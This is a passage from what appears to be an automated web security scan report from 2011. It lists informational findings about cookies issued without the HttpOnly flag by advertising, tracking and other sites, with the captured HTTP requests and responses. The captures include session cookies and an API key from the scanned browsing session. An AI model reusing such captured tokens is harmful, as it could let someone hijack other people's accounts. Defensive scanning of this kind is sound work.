Cookie: NETID01=f6600bc0a97556506df2daf333d9f1f4; udm_0=MLvv7iEOIS5n5S4sf9LIKM6Bpt3BQhwXLKhpumJAKH9ZohLvamWO+huyCocJXJDsRczd6FCC/ukv6Xpz1uzdB8jd3W3ILSjdYtnKq3F9jFyZqD377+Us3Nbw7cs1UpXwdejqHoMXde16Mzxvxei7KC+8NBsY8GM6zdRigHER7kUDTsulJ9IyAYcLvyqoyZkQZN5z/aEPrq5n9N0flh2HtuQC41Gxciq7dBDbJX43Xt+nPxvpxIe8OCCnhK5r9ANhaH8LDHQ5aMdNSJp7kYijGTihLVaWzIq5ufydYbNm9P66qBzXsYWmpLYHASVODs5MLGnqaWomJ4kcVVYuRCgplE/8t8hfOuSjORkUuX1twlOccQpK/83a1p6p9gD0Mn657YX8gBmi8+iaxuJ1uHrwDpYm9/xzIaPpzjNK3NRsH9kymE77A07UhIw2q6tBPVlAmPAo+E/4sNqVsTXMtLJrRfea6YQd80ALRcIt+FQ4/eHT1DPQo8qEvpq5YbGrPh1tfrFz62318KfxrC9Xe3bodpJLTOpoy6FPVvvvE/jbr2s6ubXR175Ye9eHk5CyuBojjk2prQ==; rsiPus_VmDO="MLs3rF9vsF9nIDGjzL1vcpsTPRsfCl7PoiPmrzYaJskmosJYIWqMj3Sq3yt/E+QlPTZKCuQrKEB5Z7vtqd4JbrUrgH/gmdfVNqTaghkJu5V3yMOKHUUoQ18s06TgB+XdXLrTWFjU8Tdz+Wj10jHIRxZ/uiauIdgCRG4WWZoEQvBvcz0BKA+4pXdUtSwC41UyCoMtP7V4oNFGdg=="; rsi_us_1000000="pUMdJc+g/xMU1j2Eq62Z0x2J+T7uFxZvzsVdi8Ni1rZmEnsMVtJEyT/0fTHbQcU3Fl+IGpm+3PedGzrOT9nTdXoVUkI6WmaBEej7aE2XzVQj6QxDUb0Yqflin6S1sMRM9RUMWIzdW0pCLFX+SdMOIyoFeBH6v/2zlBy8MohyfgRDYfmcSTqHPC0xaR/mvaFRgazmITlQbtXP+7RYRY6yzZaFUAgFwKr/tr94J1h4H+W2YralVmK4v6P0xN+VNt2eZqNbiFQzK+nNzSOpTolaFo0Raxpc3WytphNYPzJ9/lJt/xBHGQP81boeRcwqveNqtdd/1E1vdjIBRoZH0EmvTaShQ/jzfZWtTYzx/raf81/3cGklA237x02G2voq9ktKTi1i+WtuXLlMuX2LoCoyqqr//Mw/xK1hWpEzhob+C1uUCfMoE2wJ1FmCpfX3oa9FdsW5miPZDT+R5uD0aFQPo5CCc64WwzH00oWOr8FTGsrQW5azQKmncb8T6deFcxXZkLDqmK4Kf1RROoiT85eoc9M+7bsUUuqezK1ewRco0HpgWz4qkFkGfLfnvP3jHP2Gd92brOg2ZswO9XlXms9QwnkwSKdzktQIeRMytjr7TYws9yX/PbPvHI4Wj/iJV38mp3lCHbtLegae5PqiGWNd6+91HKC62iMO65M8N5sIRgOHiZMP7x3ipqRjTkkAlSYzXbqZ7Or5NUc1o2SP8BdVN9s+mCEMyZPTn5bPzqmgwn0u7ARels1C8oA="; NETSEGS_G07608=82f4957c1a652091&G07608&0&4df33ff4&0&&4dcde361&1f1a384c105a2f365a2b2d6af5f27c36; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtlR8qmZ5EYm2QQMyGpObby6k1VtCuXUwvkleBKzYPpgxBsJGyT/YmPwZWTFxu/fSGzXIpsZZc8j0XeTXtR3e8AQ==; rtc_K3mi=MLuB84kHAVhDF1LCdcKXDzQFlw1IZ0BawohNunBFEGgdlg06eD02cW8HFwQqcKIgt2VnSg==

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA"
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: rsi_us_1000000=""; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/adserver
Set-Cookie: rsiPus_VmDO=""; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/adserver
Set-Cookie: rsi_us_1000000=""; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsiPus_VmDO=""; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsiPus_-wAA="MLs3rE9rsF9nIDFgVbsxTUeBqbq+q3/4pBwYHDWGKVMsYcYNvuT3GGFCbydzxZtZdBcK/u1QXh2RAX9NdlbHtkt0dNY2cJqPqIWdptqs3944GZG1wCDw0lGVw01n6FHh24rSXWAHI25V0bg+U2hq4mH9Y8+twEF/rTaIuhgkE8dy1dSheS1qAUheQSbhzNVIUeUFlgvS3mgiHEDy"; Version=1; Domain=.revsci.net; Max-Age=1009152000; Path=/
Set-Cookie: rsi_us_1000000="pUMdJc+g/xMU1j2Eq62Z0x2J+T7uFxZvzsVdi8Ni1rZmEnsMVtJEyb9SBXyVoU4GWdcWu5pSz6fdUHuPDqhT9nhW4dujhzvFfV8niMvv5wYigD3ORegGA22VNfTqx+eg0nx/+pQOAsaJyKRS+poUGKbNIvwoXRZmYpofEgkguVhwym9t+18gaeisd+U+3OU6u7dY9YjdOoiiWJaGoH6f9a4A1C4p2EEWy5sZfyRMdL0yFQj/dyBQu5vuXFSGDP6a7bkmRyCgADITF/jAjzjjQtMzlUn/2XsHoROnrHd8ZmZ9wL3Fki/IapXgtDs1LVN1w7zrNCJsrjtaRPi5Ua4BX64gN+bW4e81O/nkwEVNrLi7N/hvD+RWReLAquahYnsRX74veIcsqhV/Bj2zlvLoF1DGrF5wBE0ww7xsPyIujq7i83N9YLY7B9QJGrroEZUJ3uumTkIbTH2sgG0zIXvrW2PHzHWqe6CrBhdqwWRPDDQfvgetE+CzmWL7BCrGA9li8TibAzk6Id/6amaeS+uQBkhBNT3QVSZlFmlU3jPA4wQY8xqU4t8H4OJgek0KBFC2I/y3jRPh6shP15VAi2hmOVxyPvYRJqfdsJhwCYkdHvJgn3euqlVqx8Z7eWUW35ZUIWyn+qifsSnOxS8BRx319mlAL9a2eyEtvQkI4xGm7dXPookE+6fdAJ07KGbimojO0JtNKaR8QCZNXIHgqrnbaf0boabxSH2IHspDo80RXAPXDSkg+L4R8Vw="; Version=1; Domain=.revsci.net; Max-Age=1009152000; Path=/
Location: http://ad.yieldmanager.com/pixel?id=575639&t=2
Content-Length: 0
Date: Sat, 14 May 2011 10:34:19 GMT

15.33. http://altfarm.mediaplex.com/ad/js/13754-86576-1281-0 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://altfarm.mediaplex.com
Path:	/ad/js/13754-86576-1281-0

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

svid=173274949960; expires=Wed, 14-May-2014 4:48:54 GMT; path=/; domain=.mediaplex.com;
mojo3=13754:1281; expires=Tue, 14-May-2013 4:48:54 GMT; path=/; domain=.mediaplex.com;

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.34. http://altfarm.mediaplex.com/ad/js/13754-86576-29158-0 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://altfarm.mediaplex.com
Path:	/ad/js/13754-86576-29158-0

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

mojo3=13754:29158; expires=Tue, 14-May-2013 5:28:28 GMT; path=/; domain=.mediaplex.com;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Cache-Control: no-store
Pragma: no-cache
Expires: 0
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Set-Cookie: mojo3=13754:29158; expires=Tue, 14-May-2013 5:28:28 GMT; path=/; domain=.mediaplex.com;
Location: http://img.mediaplex.com/content/0/13754/86576/FINS_phone_300x250.js?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F13754-86576-29158-0%3Fmpt%3D3071260&mpt=3071260&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/j%3B211712532%3B1-0%3B0%3B26528079%3B4307-300/250%3B33456554/33474432/1%3B%3B%7Eokv%3D%3Btile%3D3%3Bsz%3D300x250%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3f
Content-Length: 0
Date: Sat, 14 May 2011 10:16:20 GMT

15.35. http://amch.questionmarket.com/adsc/d845473/10/40348193/decide.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://amch.questionmarket.com
Path:	/adsc/d845473/10/40348193/decide.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

CS1=40348193-10-1; expires=Wed, 04-Jul-2012 02:22:14 GMT; path=/; domain=.questionmarket.com
ES=845473-2gS)M-0; expires=Wed, 04-Jul-2012 02:22:14 GMT; path=/; domain=.questionmarket.com;

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.36. http://api.bizographics.com/v1/profile.json previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://api.bizographics.com
Path:	/v1/profile.json

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

BizoID=739944c4-7af3-44ae-a4de-d59a57ab5b47;Version=0;Domain=.bizographics.com;Path=/;Max-Age=15768000
BizoData=vipSsUXrfhMAyjSpNgk6T39Qb1MaQBj6WQYgisqeiidjQcqwKPXXDYVmkoawipO0Dfq1j0w30sQL9madkf8kozH7KfAQplipXx9Asaj5XcunNcMDa7Re6IGD4lCyxRUxis74iisAd6xyMUDLG5gCh8GmE4wmnnS9ty8xAR0zwQvdHhisgnnwCNICmFKGa4RXxZnzMYL5lop56fA3rHonFMZ1E3OcisUUeXmc77bBFklv3wQQEmtRNLp9SGVM52AyZ8SCBsHQipEVUJBxdqAyAV9wRmIdws28k1VCYlctdRB6yGrQbVquAipNN9QFd9eD8AHJR2FGdEz1hYSFbR3chAU2xWtyvDfXYqVKvKL6ku8zbNip0rRSsokcAYJy1mH2jGbDneEWVJTB2iiSz7mTslQLR60k3zySHYwieie;Version=0;Domain=.bizographics.com;Path=/;Max-Age=15768000

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v1/profile.json?&callback=dj.module.ad.bio.loadBizoData&api_key=r9t72482usanbp6sphprhvun HTTP/1.1
Host: api.bizographics.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

15.37. http://api.dimestore.com/viapi previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://api.dimestore.com
Path:	/viapi

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

respondentId=bf6d946d41144d8191176897cb41c96b; Expires=Sun, 13-May-2012 10:31:36 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /viapi?action=project&projectId=3222&identifier=301358184 HTTP/1.1
Host: api.dimestore.com
Proxy-Connection: keep-alive
Referer: http://view.atdmt.com/RGA/iview/301358184/direct/01/3180697?click=http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/c%3B239193730%3B0-0%3B0%3B25648719%3B4307-300/250%3B41514229/41532016/1%3B%3B%7Eokv%3D%3B%21category%3Drichmedia%3Bsz%3D300x250%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3f
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.6.35
Date: Sat, 14 May 2011 10:31:36 GMT
Content-Type: text/javascript
Connection: keep-alive
Set-Cookie: respondentId=bf6d946d41144d8191176897cb41c96b; Expires=Sun, 13-May-2012 10:31:36 GMT
Set-Cookie: respondentEmail=""; Expires=Sun, 13-May-2012 10:31:36 GMT
Content-Length: 254

document.write("<script type='text/javascript'>\nvar respondentid = 'bf6d946d41144d8191176897cb41c96b';\nvar respondentemail = '';\n</script>\n<script language='javascript' src='http://content.dimesto
...[SNIP]...

15.38. http://api.twitter.com/1/statuses/user_timeline.json previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://api.twitter.com
Path:	/1/statuses/user_timeline.json

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

original_referer=JbKFAfGwv4RwApvTLqS%2BuSg2nN6n6Sc2FNg%2B%2FJZdApHOHiilCO8gnQ%3D%3D; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /1/statuses/user_timeline.json?include_entities=1&include_available_features=1&contributor_details=true&include_rts=true&user_id=262332369 HTTP/1.1
Host: api.twitter.com
Proxy-Connection: keep-alive
Referer: http://api.twitter.com/receiver.html
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*
X-PHX: true
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: k=173.193.214.243.1305305564166059; guest_id=130530556419951159; __utmz=43838368.1305368954.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=43838368.1598605414.1305368954.1305368954.1305368954.1; __utmc=43838368; __utmb=43838368.2.10.1305368954; _twitter_sess=BAh7CToPY3JlYXRlZF9hdGwrCN5zDe4vAToMY3NyZl9pZCIlYWM1YmY4MDQz%250AZTBmM2ZjNjEwY2JjNWVhMTc3YzFlNTAiCmZsYXNoSUM6J0FjdGlvbkNvbnRy%250Ab2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA6B2lkIiVkYWRm%250ANDJhZTBkOTc0ZTVmY2ZhMjc5OTY5YmVjYTdiZg%253D%253D--1d8040b8314f051f527cc09828e06b740baadb22

Response

15.39. http://b.scorecardresearch.com/b previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/b

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

UID=64dfc632-184.84.247.65-1305305561; expires=Mon, 13-May-2013 10:14:12 GMT; path=/; domain=.scorecardresearch.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.40. http://b.scorecardresearch.com/r previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/r

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

UID=64dfc632-184.84.247.65-1305305561; expires=Mon, 13-May-2013 10:09:22 GMT; path=/; domain=.scorecardresearch.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.41. http://bh.contextweb.com/bh/set.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bh.contextweb.com
Path:	/bh/set.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

V=VyuOWtE0Vy43; Domain=.contextweb.com; Expires=Tue, 08-May-2012 10:18:57 GMT; Path=/
cwbh1=3196%3B06%2F13%2F2011%3BSMTC1; Domain=.contextweb.com; Expires=Sun, 17-Apr-2016 10:18:57 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.42. http://bp.specificclick.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bp.specificclick.net
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ug=6DEEBIkK4R6_OD; Domain=.specificclick.net; Expires=Thu, 12-May-2016 10:19:06 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.43. http://bs.serving-sys.com/BurstingPipe/adServer.bs previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

u2=23592e6e-1445-4827-a37b-f2f31820ceb93I4030; expires=Fri, 12-Aug-2011 06:59:43 GMT; domain=.serving-sys.com; path=/
eyeblaster=FLV=10.3181&RES=128&WMPV=0; expires=Fri, 12-Aug-2011 06:59:43 GMT; domain=bs.serving-sys.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /BurstingPipe/adServer.bs?cn=int&iv=2&int=4891372~~0~~~^ebAboveTheFold~0~0~01020^ebAdDuration~898~0~01020^ebAboveTheFoldDuration~898~0~01020&OptOut=0&ebRandom=0.4370704125612974&flv=10.3181&wmpv=0&res=128 HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://online.barrons.com//static_html_files/addineyeV2.html?strBanner=gEbServerData%3D%271%3A%3A2284375%3A%3A4891372%3A%3ASite-32928/Type-11/4891372_9c2005ba-abc0-47ac-a2a5-aa7bd1fb066d.js%3A%3AExpBanner%3A%3A0%3A%3A%3A%3A%3A%3A0%3A%3A%3A%3A%3A%3A%3A%3A%3A%3A1%3A%3A139650%3A%3A0%3A%3A0%3A%3A%3A%3A%3A%3A%3A%3A%3A%3A%3A%3ASite-30079/Type-20/5198415/d664f754-eb5c-4f36-91a8-9e92f15fb72f/%3A%3A%27%3BgEbBannerData%3D%278157523402478546%3A%3A1%3A%3A336%3A%3A280%3A%3A%3A%3A%3A%3A1%3A%3A0%3A%3A30%3A%3A%3A%3A%3A%3A%3A%3A0%3A%3A0%3A%3A%3A%3A%3A%3Afalse%27%3BgEbInteractions%3D%27%5B_eyeblaster%2Chttp%253A//ad.doubleclick.net/click%253Bh%253Dv8/3b07/3/0/*/n%253B239950972%253B0-0%253B0%253B46249204%253B4252-336/280%253B41839080/41856867/1%253B%253B%257Eokv%253D%253B%2521category%253D%253Bpage%253Drightrail%253Bmsrc%253DBOL_other_tnav_analysis%253Bbiz%253D1053%253B%253Bs%253D8_10001%253Bmc%253D0%253Btile%253D9%253Bsz%253D300x250%252C336x280%252C300x600%252C336x850%253B%253B%257Eaopt%253D2/1/ff/1%253B%257Esscs%253D%253F%2C%5D%27%3BebSrc%3D%27http%253A//ds.serving-sys.com/BurstingCachedScripts/ebExpBanner_2_2_11.js%27%3BebResourcePath%3D%27http%253A//ds.serving-sys.com/BurstingRes//%27%3B%3BebO%3Dnew%20Object%28%29%3BebO.sms%3D%27ds.serving-sys.com/BurstingScript/%27%3BebO.bs%3D%27bs.serving-sys.com%27%3BebO.fvp%3D%27Res/%27%3BebO.rpv%3D%27_2_5_1%27%3BebO.pv%3D%27_4_5_0%27%3BebO.pi%3D0%3BebO.wv%3D%27_3_0_1%27%3BebPtcl%3D%27http%3A//%27%3BebO.bt%3D5%3BebO.bv%3D11%3BebO.plt%3D9%3BgEbDbgLvl%3D0%3BgnEbLowBWLimit%3D120%3BgnEbMinZIndex%20%3D39%3BgEbURLTokens%20=%20'tp_PlacementID%3D2284375%24%24tp_AdID%3D4891372%24%24';
Origin: http://online.barrons.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: u2=23592e6e-1445-4827-a37b-f2f31820ceb93I4030; expires=Fri, 12-Aug-2011 06:59:43 GMT; domain=.serving-sys.com; path=/
Set-Cookie: eyeblaster=FLV=10.3181&RES=128&WMPV=0; expires=Fri, 12-Aug-2011 06:59:43 GMT; domain=bs.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sat, 14 May 2011 10:59:43 GMT
Connection: close
Content-Length: 0

15.44. http://bs.serving-sys.com/BurstingPipe/adServer.bs previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

A3=jtvLaMz402WG00001jFD.aMPj0cOm00001iuIZaMPo0aMI00001jxYPaMPg0doZ00001; expires=Fri, 12-Aug-2011 06:16:32 GMT; domain=.serving-sys.com; path=/
B3=9xx40000000001uD8Yi+0000000001uD9sKa0000000001uD9fOJ0000000001uC; expires=Fri, 12-Aug-2011 06:16:32 GMT; domain=.serving-sys.com; path=/
C_4248=4844349

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /BurstingPipe/adServer.bs?cn=bsr&FlightID=2344126&Page=&PluID=0&Pos=4248 HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.fins.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: C4=; u2=d61a92e1-c563-4003-b380-e6f0a9dbf9f63I308g; A3=jtvLaMz402WG00001jFD.aMPk0cOm00001jxYPaMPg0doZ00001; B3=9xx40000000001uD9sKa0000000001uD9fOJ0000000001uC

Response

HTTP/1.1 302 Object moved
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Length: 0
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Location: http://ds.serving-sys.com/BurstingRes/Site-28039/Type-0/6f381ac2-b744-46b5-8b0b-b6007baa08c9.gif
Server: Microsoft-IIS/7.5
Set-Cookie: A3=jtvLaMz402WG00001jFD.aMPj0cOm00001iuIZaMPo0aMI00001jxYPaMPg0doZ00001; expires=Fri, 12-Aug-2011 06:16:32 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=9xx40000000001uD8Yi+0000000001uD9sKa0000000001uD9fOJ0000000001uC; expires=Fri, 12-Aug-2011 06:16:32 GMT; domain=.serving-sys.com; path=/
Set-Cookie: C_4248=4844349
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sat, 14 May 2011 10:16:31 GMT
Connection: close

15.45. http://bs.serving-sys.com/BurstingPipe/adServer.bs previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

A3=jtvLaMz402WG00001jvFxaMPh0doZ00001; expires=Fri, 12-Aug-2011 06:09:23 GMT; domain=.serving-sys.com; path=/
B3=9sKa0000000001uD9fOJ0000000001uC; expires=Fri, 12-Aug-2011 06:09:23 GMT; domain=.serving-sys.com; path=/
u2=d61a92e1-c563-4003-b380-e6f0a9dbf9f63I308g; expires=Fri, 12-Aug-2011 06:09:23 GMT; domain=.serving-sys.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: A3=jtvLaMz402WG00001jvFxaMPh0doZ00001; expires=Fri, 12-Aug-2011 06:09:23 GMT; domain=.serving-sys.com; path=/
Set-Cookie: B3=9sKa0000000001uD9fOJ0000000001uC; expires=Fri, 12-Aug-2011 06:09:23 GMT; domain=.serving-sys.com; path=/
Set-Cookie: u2=d61a92e1-c563-4003-b380-e6f0a9dbf9f63I308g; expires=Fri, 12-Aug-2011 06:09:23 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sat, 14 May 2011 10:09:23 GMT
Connection: close
Content-Length: 2269

var ebPtcl="http://";var ebBigS="ds.serving-sys.com/BurstingCachedScripts/";var ebResourcePath="ds.serving-sys.com/BurstingRes//";var ebRand=new String(Math.random());ebRand=ebRand.substr(ebRand.index
...[SNIP]...

15.46. http://c.statcounter.com/t.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://c.statcounter.com
Path:	/t.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

is_unique=sc3927194.1305372614.0; expires=Thu, 12-May-2016 11:30:14 GMT; path=/; domain=.statcounter.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.47. http://coretomic.com/epay.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://coretomic.com
Path:	/epay.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

CNAuth=deleted; expires=Friday, 14-May-10 11:35:12 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /epay.html HTTP/1.1
Host: coretomic.com
Proxy-Connection: keep-alive
Referer: http://coretomic.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=27d5d9eed887f2b45c8e28f18b2f1b1c; __utma=251280532.880291708.1305372891.1305372891.1305372891.1; __utmb=251280532; __utmc=251280532; __utmz=251280532.1305372891.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:35:13 GMT
Server: Apache/2.2.3 (Debian)
X-Powered-By: PHP/4.4.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: CNAuth=deleted; expires=Friday, 14-May-10 11:35:12 GMT; path=/
Content-Length: 25769

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html>
<head>
<title>Coretomic - epay</title>

<meta http-equiv="Content-Type
...[SNIP]...

15.48. http://fls.doubleclick.net/activityi previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fls.doubleclick.net
Path:	/activityi

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

test_cookie=CheckForPermission; expires=Sat, 14-May-2011 10:24:13 GMT; path=/; domain=.doubleclick.net

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.49. http://fls.doubleclick.net/activityi previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fls.doubleclick.net
Path:	/activityi

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

id=2296c1fb18010048||t=1305367760|et=730|cs=x1acgbvi; expires=Mon, 13-May-2013 10:09:20 GMT; path=/; domain=.doubleclick.net

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.50. https://home.mcafee.com/secure/cart/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://home.mcafee.com
Path:	/secure/cart/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

IscartemptySiteidAffid=no-1-0; domain=mcafee.com; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.51. http://images.apple.com/global/nav/styles/navigation.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://images.apple.com
Path:	/global/nav/styles/navigation.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

